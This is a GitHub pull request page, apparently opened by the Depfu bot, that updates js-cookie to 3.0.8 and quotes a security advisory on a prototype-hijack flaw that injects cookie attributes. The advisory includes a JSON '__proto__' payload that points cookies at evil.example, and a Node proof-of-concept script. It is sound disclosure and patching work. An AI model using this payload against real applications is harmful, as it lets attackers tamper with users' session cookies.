Skip to content

🚨 [security] Update js-cookie 3.0.5 → 3.0.8 (patch)#962

Open
depfu[bot] wants to merge 1 commit into
masterfrom
depfu/update/yarn/js-cookie-3.0.8
Open

🚨 [security] Update js-cookie 3.0.5 → 3.0.8 (patch)#962
depfu[bot] wants to merge 1 commit into
masterfrom
depfu/update/yarn/js-cookie-3.0.8

Conversation

@depfu
Copy link
Copy Markdown
Contributor

@depfu depfu Bot commented May 30, 2026


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ js-cookie (3.0.5 → 3.0.8) · Repo

Security Advisories 🚨

🚨 JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection

Summary

js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "__proto__" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.__proto__ setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.

Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.

Impact

Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:

const cfg = await fetch('/config').then(r => r.json());
Cookies.set('session', token, cfg.cookieAttrs);   // cfg.cookieAttrs influenced by attacker

A payload of {"__proto__":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:

Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None

Affected code

// src/assign.mjs — full file
export default function (target) {
  for (var i = 1; i < arguments.length; i++) {
    var source = arguments[i]
    for (var key in source) {                 // includes own enumerable '__proto__'
      target[key] = source[key]                // [[Set]] form - fires __proto__ setter
    }
  }
  return target
}

Proof of concept

Node 22.11.0, no third-party deps:

Environment setup

mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc
npm init -y
npm i js-cookie

PoC

ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs
let lastSetCookie = '';
globalThis.document = {
  get cookie() { return ''; },
  set cookie(v) { lastSetCookie = v; }
};

const { default: Cookies } = await import('js-cookie');

const attackerAttrs = JSON.parse(
'{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}'
);

Cookies.set('session', 'TOKEN', attackerAttrs);

console.log('Set-Cookie that js-cookie wrote to document.cookie:');
console.log(lastSetCookie);

Execution:
cls-2026-05-14-01 44 39

Suggested patch

--- a/src/assign.mjs
+++ b/src/assign.mjs
@@
 export default function (target) {
   for (var i = 1; i < arguments.length; i++) {
     var source = arguments[i]
-    for (var key in source) {
-      target[key] = source[key]
-    }
+    for (var key in source) {
+      if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue
+      Object.defineProperty(target, key, {
+        value: source[key],
+        writable: true,
+        enumerable: true,
+        configurable: true,
+      })
+    }
   }
   return target
 }

Equivalent one-liner alternative - iterate own names only and filter:

for (const key of Object.getOwnPropertyNames(source)) {
  if (key === '__proto__') continue
  target[key] = source[key]
}
Release Notes

3.0.8

  • Restore ES5 compatibility, inadvertently broken in 3.0.7 - #959
  • Lift Node version restriction, inadvertently restricted to >= 20 in 3.0.7 - #956

3.0.7

  • Prevent cookie attribute injection: CVE-2026-46625 (eb3c40e)
  • Add Partitioned attribute to readme (b994768)
  • Publish to npm registry via trusted publisher exclusively (4dc71be)
  • Ensure consistent behaviour for get('name') + get() (1953d30)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants